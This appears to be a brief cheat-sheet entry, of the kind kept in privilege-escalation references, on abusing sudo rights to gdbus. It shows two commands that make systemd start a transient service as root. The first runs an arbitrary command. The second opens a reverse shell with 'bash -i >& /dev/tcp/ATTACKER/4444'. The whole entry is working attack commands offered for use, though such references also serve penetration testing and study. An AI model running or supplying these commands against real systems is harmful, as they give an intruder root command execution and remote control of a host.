Command execution

sudo gdbus call --system \
  --dest org.freedesktop.systemd1 \
  --object-path /org/freedesktop/systemd1 \
  --method org.freedesktop.systemd1.Manager.StartTransientUnit \
  "evil.service" "fail" \
  "[('ExecStart', <[('/bin/sh', ['/bin/sh', '-c', 'id > /tmp/proof'], false)]>), ('Type', <'oneshot'>)]" \
  "[]"

Reverse shell

sudo gdbus call --system \
  --dest org.freedesktop.systemd1 --object-path /org/freedesktop/systemd1 \
  --method org.freedesktop.systemd1.Manager.StartTransientUnit \
  "shell.service" "fail" \
  "[('ExecStart', <[('/bin/bash', ['/bin/bash', '-c', 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'], false)]>), ('Type', <'oneshot'>)]" \
  "[]"